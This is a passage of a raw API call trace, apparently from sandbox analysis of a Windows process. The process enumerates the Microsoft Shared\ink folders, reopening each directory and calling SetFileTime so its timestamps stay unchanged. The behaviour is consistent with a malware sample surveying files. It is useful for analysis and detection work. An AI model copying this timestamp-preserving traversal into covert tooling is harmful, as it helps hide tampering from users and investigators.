hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.029] GetLastError () returned 0x12 [0049.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.029] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.029] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0049.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.029] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.029] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.030] NtClose (Handle=0x188) returned 0x0 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0049.030] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90bd0 [0049.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91918 [0049.030] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.030] GetLastError () returned 0x12 [0049.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.030] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.031] GetLastError () returned 0x12 [0049.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.031] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.031] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0049.031] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0049.031] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0049.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.031] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.031] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.031] NtClose (Handle=0x184) returned 0x0 [0049.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.032] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.032] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90bf0 [0049.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91a20 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.032] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.032] GetLastError () returned 0x12 [0049.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0049.032] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.032] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.032] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.032] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.032] GetLastError () returned 0x12 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.032] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.033] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.033] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.033] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.033] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.033] NtClose (Handle=0x188) returned 0x0 [0049.033] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.033] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91b28 [0049.033] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91c30 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90c10 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91d38 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90c30 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91e40 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, 